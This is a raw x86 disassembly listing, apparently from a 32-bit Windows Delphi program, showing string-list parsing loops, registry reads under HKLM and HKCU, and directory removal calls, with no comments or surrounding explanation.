mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x630]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x908]
lea edx, [ebp - 0x904]
call fcn.0042d814
mov edx, dword [ebp - 0x904]
mov eax, dword [0x5d484c]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov eax, dword [eax + 0x284]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc dword [ebp - 0x54c]
dec dword [ebp - 0x668]
jne 0x596994
mov dword [ebp - 0x550], 1
mov eax, dword [0x5d484c]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov eax, dword [eax + 0x284]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x596b25
mov dword [ebp - 0x668], eax
mov dword [ebp - 0x54c], 1
lea ecx, [ebp - 0x90c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [0x5d484c]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov eax, dword [eax + 0x284]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x90c]
mov edx, dword [0x5dbd58]
call fcn.0040aa98
test eax, eax
jne 0x596a69
mov eax, dword [ebp - 0x54c]
mov dword [ebp - 0x550], eax
lea ecx, [ebp - 0x910]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [0x5d484c]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov eax, dword [eax + 0x284]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x910]
push eax
mov dl, 1
mov al, 1
call fcn.004b0498
lea edx, [ebp - 0x914]
call fcn.004afb68
mov edx, dword [ebp - 0x914]
pop eax
call fcn.0040aa98
test eax, eax
jne 0x596ad7
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [0x5d484c]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov ecx, dword [eax]
call dword [ecx + 0xe0]
jmp 0x596b25
mov eax, dword [0x5d484c]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov eax, dword [eax + 0x284]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, dword [ebp - 0x54c]
jne 0x596b13
mov edx, dword [ebp - 0x550]
dec edx
mov eax, dword [0x5d484c]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov ecx, dword [eax]
call dword [ecx + 0xe0]
inc dword [ebp - 0x54c]
dec dword [ebp - 0x668]
jne 0x596a23
cmp byte [0x5dbcf4], 0
jne 0x596b64
mov eax, dword [0x5d484c]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 0xfc]
cmp eax, 2
jne 0x596b64
mov eax, dword [0x5d484c]
mov eax, dword [eax]
call fcn.00404ae4
push ebp
mov al, 1
call fcn.00594040
pop ecx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5acfba
mov eax, dword [0x5d484c]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov edx, dword [eax]
call dword [edx + 0xdc]
mov edx, eax
lea ecx, [ebp - 0x918]
mov eax, dword [0x5d484c]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov eax, dword [eax + 0x284]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x918]
mov eax, 0x5dbd5c
call fcn.00405a98
mov eax, dword [0x5d484c]
mov eax, dword [eax]
call fcn.00404ae4
lea edx, [ebp - 0x91c]
mov eax, 0x5add04
call fcn.0058ff78
mov eax, dword [ebp - 0x91c]
call fcn.00593654
test al, al
jne 0x596c35
lea edx, [ebp - 0x928]
mov eax, dword [ebp + 8]
call fcn.0040bb78
mov eax, dword [ebp - 0x928]
lea edx, [ebp - 0x924]
call fcn.00589d4c
push dword [ebp - 0x924]
lea edx, [ebp - 0x92c]
mov eax, dword [ebp + 8]
call fcn.00589cac
push dword [ebp - 0x92c]
push 0x5ad758
lea eax, [ebp - 0x920]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x920]
call fcn.0040b89c
test al, al
je 0x596d15
mov eax, dword [ebp + 8]
call fcn.0058efb8
lea edx, [ebp - 0x3c0]
call fcn.0058f0a0
cmp dword [0x5dbd74], 3
jne 0x596c74
push dword [ebp - 0x3c0]
push dword [0x5dbd14]
push 0x5adbe4
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405dd8
jmp 0x596c95
push dword [ebp - 0x3c0]
push dword [0x5dbd10]
push 0x5adbe4
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405dd8
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x930]
mov eax, dword [ebp + 8]
call fcn.00589cac
push dword [ebp - 0x930]
push 0x5add18
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x3c0]
call fcn.0040b89c
test al, al
je 0x596d15
mov edx, dword [ebp - 0x3c0]
lea eax, [ebp - 0x3a8]
call fcn.00403950
lea eax, [ebp - 0x3a8]
call fcn.004036d4
mov edx, 0x5dbd5c
lea eax, [ebp - 0x3a8]
call fcn.00403f48
lea eax, [ebp - 0x3a8]
call fcn.00403fb4
lea eax, [ebp - 0x3a8]
call fcn.00403af8
mov ecx, 0x5ad79c
mov edx, dword [0x5dbd5c]
mov eax, 0x5adc64
call fcn.0058ffac
mov eax, dword [ebp - 0x630]
call fcn.00404ae4
mov eax, dword [0x5dbd8c]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x5acec8
mov dword [ebp - 0x668], eax
mov dword [ebp - 0x54c], 1
mov eax, dword [ebp - 0x54c]
dec eax
and eax, 0x80000001
jns 0x596d6a
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x596e57
lea ecx, [ebp - 0x938]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [0x5dbd8c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x938]
lea edx, [ebp - 0x934]
call fcn.0040ab58
mov eax, dword [ebp - 0x934]
call fcn.005af628
test al, al
je 0x596e01
lea ecx, [ebp - 0x93c]
mov edx, dword [ebp - 0x54c]
mov eax, dword [0x5dbd8c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x93c]
push eax
lea ecx, [ebp - 0x944]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [0x5dbd8c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x944]
lea edx, [ebp - 0x940]
call fcn.0040ab58
mov eax, dword [ebp - 0x940]
mov ecx, 0x5add28
pop edx
call fcn.0058ffe4
jmp 0x596e57
lea ecx, [ebp - 0x948]
mov edx, dword [ebp - 0x54c]
mov eax, dword [0x5dbd8c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x948]
push eax
lea ecx, [ebp - 0x950]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [0x5dbd8c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x950]
lea edx, [ebp - 0x94c]
call fcn.0040ab58
mov eax, dword [ebp - 0x94c]
mov ecx, 0x5add28
pop edx
call fcn.0058ffac
inc dword [ebp - 0x54c]
dec dword [ebp - 0x668]
jne 0x596d57
jmp 0x5acec8
mov eax, dword [ebp - 0x534]
mov ecx, 0x13a
cdq
idiv ecx
test edx, edx
jne 0x596e8c
mov eax, dword [0x5d4d74]
mov eax, dword [eax]
call fcn.00485f0c
lea edx, [ebp - 0x954]
mov eax, 0x5ad9f0
call fcn.0058ff78
mov edx, dword [ebp - 0x954]
mov eax, 0x5dbcf8
call fcn.00405a98
lea edx, [ebp - 0x958]
mov eax, 0x5ad9e0
call fcn.0058ff78
mov eax, dword [ebp - 0x958]
call fcn.00593654
mov byte [0x5dbcf4], al
lea edx, [ebp - 0x95c]
mov eax, 0x5adaf8
call fcn.0058ff78
mov edx, dword [ebp - 0x95c]
mov eax, dword [0x5d4fc0]
call fcn.00405a98
lea edx, [ebp - 0x960]
mov eax, 0x5ad874
call fcn.0058ff78
mov eax, dword [ebp - 0x960]
mov edx, 0x5ad7b4
call fcn.00405e6c
mov eax, dword [0x5d4ba8]
sete byte [eax]
lea edx, [ebp - 0x964]
mov eax, 0x5ad85c
call fcn.0058ff78
cmp dword [ebp - 0x964], 0
je 0x597078
lea edx, [ebp - 0x968]
mov eax, 0x5ad85c
call fcn.0058ff78
mov edx, dword [ebp - 0x968]
mov eax, dword [0x5dbda8]
call fcn.00405e6c
je 0x597078
mov dl, 1
mov eax, dword [0x41c6f4]
call fcn.00404ab4
mov dword [ebp - 0x664], eax
push ebp
lea edx, [ebp - 0x970]
mov eax, 0x5ad85c
call fcn.0058ff78
mov eax, dword [ebp - 0x970]
lea edx, [ebp - 0x96c]
call fcn.00589d4c
mov eax, dword [ebp - 0x96c]
mov edx, dword [ebp - 0x664]
call fcn.00594ed4
pop ecx
test al, al
je 0x597052
lea edx, [ebp - 0x978]
mov eax, 0x5ad85c
call fcn.0058ff78
mov eax, dword [ebp - 0x978]
lea edx, [ebp - 0x974]
call fcn.00589d4c
mov edx, dword [ebp - 0x974]
mov ecx, 0x5add28
mov eax, 0x5ad85c
call fcn.0058ffe4
push ebp
call fcn.00594100
pop ecx
lea edx, [ebp - 0x97c]
mov eax, 0x5ad85c
call fcn.0058ff78
mov edx, dword [ebp - 0x97c]
mov eax, 0x5dbda8
call fcn.00405a98
mov eax, dword [ebp - 0x664]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, 1
jl 0x59706d
mov dword [ebp - 0x54c], eax
lea ecx, [ebp - 0x980]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x664]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x980]
call fcn.00405ed4
push eax
call sub.kernel32.dll_RemoveDirectoryA
dec dword [ebp - 0x54c]
cmp dword [ebp - 0x54c], 0
jne 0x597018
jmp 0x59706d
mov ecx, 0x5add50
xor edx, edx
mov eax, 0x5ad85c
call fcn.0058ffe4
mov eax, 0x5dbda8
call fcn.00405a44
mov eax, dword [ebp - 0x664]
call fcn.00404ae4
call fcn.0040d254
fstp qword [ebp - 0x6e8]
wait
push dword [ebp - 0x6e4]
push dword [ebp - 0x6e8]
mov edx, dword [0x5d49f0]
mov edx, dword [edx]
lea eax, [ebp - 0x458]
call fcn.0040deb4
mov ecx, 0x5ad79c
mov edx, dword [ebp - 0x458]
mov eax, 0x5adb2c
call fcn.0058ffac
call fcn.0040d280
fstp qword [ebp - 0x6f0]
wait
push dword [ebp - 0x6ec]
push dword [ebp - 0x6f0]
mov edx, dword [0x5d4ce8]
mov edx, dword [edx]
lea eax, [ebp - 0x45c]
call fcn.0040deb4
mov ecx, 0x5ad79c
mov edx, dword [ebp - 0x45c]
mov eax, 0x5adb3c
call fcn.0058ffac
xor eax, eax
push ebp
push 0x59726d
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x984]
mov eax, 0x5adc64
call fcn.0058ff78
mov edx, dword [ebp - 0x984]
mov eax, 0x5dbd5c
call fcn.00405a98
cmp dword [0x5dbd5c], 0
je 0x597263
mov eax, dword [0x5dbd5c]
mov edx, dword [0x5dbd60]
call fcn.00405e6c
je 0x597263
mov eax, 0x5dbd60
mov edx, dword [0x5dbd5c]
call fcn.00405a98
lea eax, [ebp - 0x988]
mov ecx, 0x5adca0
mov edx, dword [0x5dbd24]
call fcn.00405d5c
mov edx, dword [ebp - 0x988]
mov eax, dword [0x5dbd64]
mov ecx, dword [eax]
call dword [ecx + 0x68]
push dword [0x5dbd24]
push 0x5adcec
push dword [0x5dbd5c]
lea eax, [ebp - 0x98c]
mov edx, 3
call fcn.00405dd8
mov edx, dword [ebp - 0x98c]
mov eax, dword [0x5dbd68]
mov ecx, dword [eax]
call dword [ecx + 0x68]
lea eax, [ebp - 0x990]
mov ecx, 0x5adcbc
mov edx, dword [0x5dbd24]
call fcn.00405d5c
mov edx, dword [ebp - 0x990]
mov eax, dword [0x5dbd70]
mov ecx, dword [eax]
call dword [ecx + 0x68]
push dword [0x5dbd24]
push dword [0x5dbd18]
push 0x5adc78
lea eax, [ebp - 0x994]
mov edx, 3
call fcn.00405dd8
mov edx, dword [ebp - 0x994]
mov eax, dword [0x5dbd6c]
mov ecx, dword [eax]
call dword [ecx + 0x68]
push dword [0x5dbd24]
push 0x5add70
push dword [0x5dbd5c]
lea eax, [ebp - 0x998]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x998]
call fcn.0040b89c
test al, al
je 0x597263
push dword [0x5dbd24]
push 0x5add70
push dword [0x5dbd5c]
lea eax, [ebp - 0x99c]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x99c]
call fcn.004b088c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x597281
mov ecx, 0x5ad79c
mov edx, dword [0x5dbd5c]
mov eax, 0x5adc64
call fcn.0058ffac
lea edx, [ebp - 0x9a0]
mov eax, 0x5ad700
call fcn.0058ff78
mov eax, dword [ebp - 0x9a0]
call fcn.00593654
lea edx, [ebp - 0x3c0]
call fcn.0058f0a0
push dword [ebp - 0x3c0]
push dword [0x5dbd10]
push 0x5adbe4
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405dd8
lea edx, [ebp - 0x9a4]
mov eax, dword [ebp + 8]
call fcn.00589cac
mov eax, dword [ebp - 0x9a4]
push eax
lea edx, [ebp - 0x9ac]
mov eax, dword [ebp + 8]
call fcn.0040bb78
mov eax, dword [ebp - 0x9ac]
lea edx, [ebp - 0x9a8]
call fcn.00589d4c
mov edx, dword [ebp - 0x9a8]
lea eax, [ebp - 0x3c4]
pop ecx
call fcn.00405d5c
cmp dword [0x5dbd74], 3
je 0x597390
lea edx, [ebp - 0x9b8]
xor eax, eax
call fcn.00412b5c
mov eax, dword [ebp - 0x9b8]
lea edx, [ebp - 0x9b4]
call fcn.0040bc64
mov ecx, dword [ebp - 0x9b4]
lea eax, [ebp - 0x9b0]
mov edx, dword [ebp - 0x3c0]
call fcn.00405d5c
mov edx, dword [ebp - 0x9b0]
mov ecx, 0x5ad79c
mov eax, 0x5add90
call fcn.0058ffac
mov ecx, 0x5ad79c
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5adda8
call fcn.0058ffac
jmp 0x597548
xor eax, eax
push ebp
push 0x5974e7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x430728]
call fcn.00430894
mov dword [ebp - 0x53c], eax
lea edx, [ebp - 0x9bc]
mov eax, 0x5ad700
call fcn.0058ff78
mov eax, dword [ebp - 0x9bc]
call fcn.00593654
test al, al
je 0x5973e1
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.00430970
jmp 0x5973f1
mov edx, 0x80000001
mov eax, dword [ebp - 0x53c]
call fcn.00430970
mov eax, dword [0x5d510c]
cmp dword [eax], 1
jne 0x59740b
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.00430970
mov eax, dword [ebp - 0x53c]
mov dword [eax + 0x18], 0x20019
lea edx, [ebp - 0x9c4]
mov eax, 0x5adaf8
call fcn.0058ff78
mov ecx, dword [ebp - 0x9c4]
lea eax, [ebp - 0x9c0]
mov edx, 0x5adb80
call fcn.00405d5c
mov edx, dword [ebp - 0x9c0]
xor ecx, ecx
mov eax, dword [ebp - 0x53c]
call fcn.004309d8
lea ecx, [ebp - 0x3c0]
mov edx, 0x5adbc0
mov eax, dword [ebp - 0x53c]
call fcn.0043103c
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5adbd8
call fcn.00410338
mov edx, eax
lea eax, [ebp - 0x3c0]
mov ecx, 1
call fcn.00405f7c
mov eax, dword [ebp - 0x3c0]
mov dword [ebp - 0x6f4], eax
cmp dword [ebp - 0x6f4], 0
je 0x5974af
mov eax, dword [ebp - 0x6f4]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6f4], eax
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5adbd8
call fcn.00410338
mov edx, eax
lea eax, [ebp - 0x3c0]
mov ecx, dword [ebp - 0x6f4]
call fcn.00405f7c
mov eax, dword [ebp - 0x53c]
call fcn.00404ae4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5974fc
mov ecx, 0x5ad79c
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5add90
call fcn.0058ffac
lea edx, [ebp - 0x9cc]
mov eax, dword [ebp - 0x3c0]
call fcn.0040bb78
mov eax, dword [ebp - 0x9cc]
lea edx, [ebp - 0x9c8]
call fcn.00589d4c
mov edx, dword [ebp - 0x9c8]
mov ecx, 0x5ad79c
mov eax, 0x5adda8
call fcn.0058ffac
cmp byte [ebp - 0x583], 0
je 0x597773
xor eax, eax
mov dword [ebp - 0x54c], eax
inc dword [ebp - 0x534]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov byte [ebp - 0x57d], 0
mov eax, dword [ebp - 0x438]
mov edx, 0x5addbc
call fcn.00405e6c
je 0x5975a6
mov eax, dword [ebp - 0x438]
mov edx, 0x5addc8
call fcn.00405e6c
jne 0x5975ef
lea ecx, [ebp - 0x9d0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9d0]
mov edx, 0x5adddc
call fcn.00405e6c
je 0x5975ef
mov eax, dword [ebp - 0x438]
mov edx, 0x5adde8
call fcn.00405e6c
je 0x5975ef
inc dword [ebp - 0x54c]
mov byte [ebp - 0x57d], 1
mov eax, dword [ebp - 0x438]
mov edx, 0x5addf8
call fcn.00405e6c
jne 0x597653
lea ecx, [ebp - 0x9d4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9d4]
mov edx, 0x5adddc
call fcn.00405e6c
je 0x597653
mov eax, dword [ebp - 0x438]
mov edx, 0x5adde8
call fcn.00405e6c
je 0x597653
dec dword [ebp - 0x54c]
cmp dword [ebp - 0x54c], 0
jl 0x597653
mov byte [ebp - 0x57d], 1
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade04
call fcn.00405e6c
je 0x59768d
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade14
call fcn.00405e6c
je 0x59768d
mov eax, dword [ebp - 0x438]
mov edx, 0x5addf8
call fcn.00405e6c
jne 0x59755d
cmp dword [ebp - 0x54c], 0
jg 0x59755d
cmp byte [ebp - 0x57d], 0
jne 0x59755d
cmp dword [ebp - 0x528], 0
je 0x5976de
lea ecx, [ebp - 0x9d8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9d8]
mov edx, 0x5adddc
call fcn.00405e6c
je 0x59755d
mov eax, dword [ebp - 0x438]
mov edx, 0x5adde8
call fcn.00405e6c
je 0x59755d
mov byte [ebp - 0x583], 0
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade14
call fcn.00405e6c
jne 0x59773c
cmp byte [ebp - 0x584], 0
jne 0x597773
dec dword [ebp - 0x534]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
dec dword [ebp - 0x58c]
jmp 0x597773
mov eax, dword [ebp - 0x438]
mov edx, 0x5addf8
call fcn.00405e6c
jne 0x597773
dec dword [ebp - 0x534]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov byte [ebp - 0x585], 1
cmp byte [ebp - 0x584], 0
je 0x597927
xor eax, eax
mov dword [ebp - 0x54c], eax
inc dword [ebp - 0x534]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov byte [ebp - 0x57d], 0
mov eax, dword [ebp - 0x438]
mov edx, 0x5addbc
call fcn.00405e6c
je 0x5977d1
mov eax, dword [ebp - 0x438]
mov edx, 0x5addc8
call fcn.00405e6c
jne 0x59781a
lea ecx, [ebp - 0x9dc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9dc]
mov edx, 0x5adddc
call fcn.00405e6c
je 0x59781a
mov eax, dword [ebp - 0x438]
mov edx, 0x5adde8
call fcn.00405e6c
je 0x59781a
inc dword [ebp - 0x54c]
mov byte [ebp - 0x57d], 1
mov eax, dword [ebp - 0x438]
mov edx, 0x5addf8
call fcn.00405e6c
jne 0x59787e
lea ecx, [ebp - 0x9e0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9e0]
mov edx, 0x5adddc
call fcn.00405e6c
je 0x59787e
mov eax, dword [ebp - 0x438]
mov edx, 0x5adde8
call fcn.00405e6c
je 0x59787e
dec dword [ebp - 0x54c]
cmp dword [ebp - 0x54c], 0
jl 0x59787e
mov byte [ebp - 0x57d], 1
mov eax, dword [ebp - 0x438]
mov edx, 0x5addf8
call fcn.00405e6c
jne 0x597788
cmp dword [ebp - 0x54c], 0
jg 0x597788
cmp byte [ebp - 0x57d], 0
jne 0x597788
cmp dword [ebp - 0x528], 0
je 0x5978e5
lea ecx, [ebp - 0x9e4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9e4]
mov edx, 0x5adddc
call fcn.00405e6c
je 0x597788
mov eax, dword [ebp - 0x438]
mov edx, 0x5adde8
call fcn.00405e6c
je 0x597788
mov byte [ebp - 0x584], 0
dec dword [ebp - 0x534]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov byte [ebp - 0x585], 1
cmp byte [ebp - 0x58d], 0
jne 0x5979af
inc dword [ebp - 0x534]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x520]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, dword [ebp - 0x534]
jle 0x597d00
cmp dword [ebp - 0x528], 0
je 0x597998
lea ecx, [ebp - 0x9e8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9e8]
mov edx, 0x5adddc
call fcn.00405e6c
je 0x597930
mov eax, dword [ebp - 0x438]
mov edx, 0x5adde8
call fcn.00405e6c
je 0x597930
jmp 0x597d00
mov eax, dword [ebp - 0x594]
add dword [ebp - 0x598], eax
cmp dword [ebp - 0x598], 0
jne 0x5979ce
mov dword [ebp - 0x598], 1
mov eax, dword [ebp - 0x1dc]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, dword [ebp - 0x598]
jge 0x5979f2
mov eax, dword [ebp - 0x1dc]
mov edx, dword [eax]
call dword [edx + 0x14]
mov dword [ebp - 0x598], eax
cmp dword [ebp - 0x594], 1
jne 0x597a0a
mov dword [ebp - 0x54c], 1
jmp 0x597ac8
cmp dword [ebp - 0x594], 0xffffffff
jne 0x597a22
mov dword [ebp - 0x54c], 0xffffffff
jmp 0x597ac8
inc dword [ebp - 0x534]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x438]
mov edx, 0x5addf8
call fcn.00405e6c
jne 0x597a22
cmp dword [ebp - 0x528], 0
je 0x597a85
lea ecx, [ebp - 0x9ec]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9ec]
mov edx, 0x5adddc
call fcn.00405e6c
je 0x597a22
mov eax, dword [ebp - 0x438]
mov edx, 0x5adde8
call fcn.00405e6c
je 0x597a22
mov byte [ebp - 0x58d], 0
mov byte [ebp - 0x58e], 1
dec dword [ebp - 0x534]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
jmp 0x5acec8
mov eax, dword [ebp - 0x54c]
add dword [ebp - 0x534], eax
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade24
call fcn.00405e6c
je 0x597b22
mov eax, dword [ebp - 0x438]
mov edx, 0x5addc8
call fcn.00405e6c
je 0x597b22
mov eax, dword [ebp - 0x438]
mov edx, 0x5addf8
call fcn.00405e6c
jne 0x597ac8
cmp dword [ebp - 0x528], 0
je 0x597b59
lea ecx, [ebp - 0x9f0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9f0]
mov edx, 0x5adddc
call fcn.00405e6c
je 0x597ac8
mov eax, dword [ebp - 0x438]
mov edx, 0x5adde8
call fcn.00405e6c
je 0x597ac8
mov eax, dword [ebp - 0x438]
mov edx, 0x5addf8
call fcn.00405e6c
jne 0x597bf7
cmp dword [ebp - 0x528], 0
je 0x597bb4
lea ecx, [ebp - 0x9f4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9f4]
mov edx, 0x5adddc
call fcn.00405e6c
je 0x597bf7
mov eax, dword [ebp - 0x438]
mov edx, 0x5adde8
call fcn.00405e6c
je 0x597bf7
mov byte [ebp - 0x58d], 0
mov byte [ebp - 0x58e], 1
dec dword [ebp - 0x534]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5addc8
call fcn.00405e6c
jne 0x597d00
cmp dword [ebp - 0x528], 0
je 0x597c44
lea ecx, [ebp - 0x9f8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9f8]
mov edx, 0x5adddc
call fcn.00405e6c
je 0x597d00
mov eax, dword [ebp - 0x438]
mov edx, 0x5adde8
call fcn.00405e6c
je 0x597d00
inc dword [ebp - 0x534]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x438]
mov edx, 0x5addf8
call fcn.00405e6c
jne 0x597c5a
cmp dword [ebp - 0x528], 0
je 0x597cbd
lea ecx, [ebp - 0x9fc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9fc]
mov edx, 0x5adddc
call fcn.00405e6c
je 0x597c5a
mov eax, dword [ebp - 0x438]
mov edx, 0x5adde8
call fcn.00405e6c
je 0x597c5a
mov byte [ebp - 0x58d], 0
mov byte [ebp - 0x58e], 1
dec dword [ebp - 0x534]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
jmp 0x5acec8
mov eax, dword [ebp - 0x520]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, dword [ebp - 0x534]
jl 0x5acedf
lea ecx, [ebp - 0xa00]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0xa00]
mov edx, 0x5adddc
call fcn.00405e6c
je 0x5acec8
call fcn.005b3a54
inc eax
jne 0x597d63
mov ecx, 0x5ade3c
mov edx, 0x5ad7b4
mov eax, 0x5ad904
call fcn.0058ffe4
jmp 0x597d77
mov ecx, 0x5ade3c
mov edx, 0x5ad678
mov eax, 0x5ad904
call fcn.0058ffe4
cmp dword [0x5dbcc4], 0
je 0x597e61
mov byte [ebp - 0x625], 0
lea edx, [ebp - 0xa04]
mov eax, 0x5ad8d4
call fcn.0058ff78
mov edx, dword [ebp - 0xa04]
mov eax, dword [ebp - 0x40c]
call fcn.00405e6c
je 0x597dc5
mov byte [ebp - 0x625], 1
lea edx, [ebp - 0x40c]
mov eax, 0x5ad8d4
call fcn.0058ff78
lea edx, [ebp - 0xa08]
mov eax, 0x5ad914
call fcn.0058ff78
mov eax, dword [ebp - 0xa08]
call fcn.0040b2d4
cmp eax, dword [ebp - 0x62c]
je 0x597e10
